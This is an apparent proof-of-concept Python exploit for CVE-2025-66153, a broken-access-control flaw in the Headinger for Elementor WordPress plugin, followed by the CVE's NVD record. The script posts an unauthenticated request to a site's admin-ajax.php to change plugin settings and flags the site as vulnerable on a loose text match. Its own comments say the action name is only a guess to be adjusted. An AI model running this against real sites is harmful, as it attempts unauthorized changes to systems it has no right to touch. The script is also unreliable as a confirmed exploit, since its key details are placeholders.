CVE-2025-66153

# CVE-2025-66153 PoC - Headinger for Elementor Authorization Bypass # Target: WordPress site with headinger-elementor plugin <= 1.1.4 import requests import sys def check_vulnerability(target_url): """ Check if the target is vulnerable to CVE-2025-66153 Missing Authorization in Headinger for Elementor plugin """ # WordPress admin-ajax.php endpoint commonly used by plugins ajax_endpoint = f"{target_url.rstrip('/')}/wp-admin/admin-ajax.php" # Try to access plugin functionality without proper authentication # The exact action name needs to be identified from plugin source code headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Content-Type': 'application/x-www-form-urlencoded', } # Test with subscriber-level privileges (ID 0 or low privilege user) # This demonstrates the broken access control data = { 'action': 'headinger_save_settings', # Example action - adjust based on actual endpoint 'user_id': 0, # Low privilege user '_wpnonce': '' # May not be properly validated } try: response = requests.post(ajax_endpoint, data=data, headers=headers, timeout=10) # Check if the request was processed without proper authorization if response.status_code == 200: # Analyze response for successful unauthorized access if 'success' in response.text or 'settings saved' in response.text.lower(): print(f"[+] VULNERABLE: {target_url}") print(f"[+] Low privilege access was allowed without proper authorization check") return True print(f"[-] Target may not be vulnerable or plugin not installed") return False except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") return False if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] check_vulnerability(target) else: print("Usage: python cve_2025_66153_poc.py <target_url>") print("Example: python cve_2025_66153_poc.py http://example.com")

{"cve": {"id": "CVE-2025-66153", "sourceIdentifier": "[email protected]", "published": "2025-12-31T19:15:44.690", "lastModified": "2026-04-23T15:35:28.533", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in merkulove Headinger for Elementor headinger-elementor allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Headinger for Elementor: from n/a through <= 1.1.4."}, {"lang": "es", "value": "Vulnerabilidad de autorización faltante en merkulove Headinger para Elementor permite la explotación de niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a Headinger para Elementor: desde n/a hasta 1.1.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/headinger-elementor/vulnerability/wordpress-headinger-for-elementor-plugin-1-1-4-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}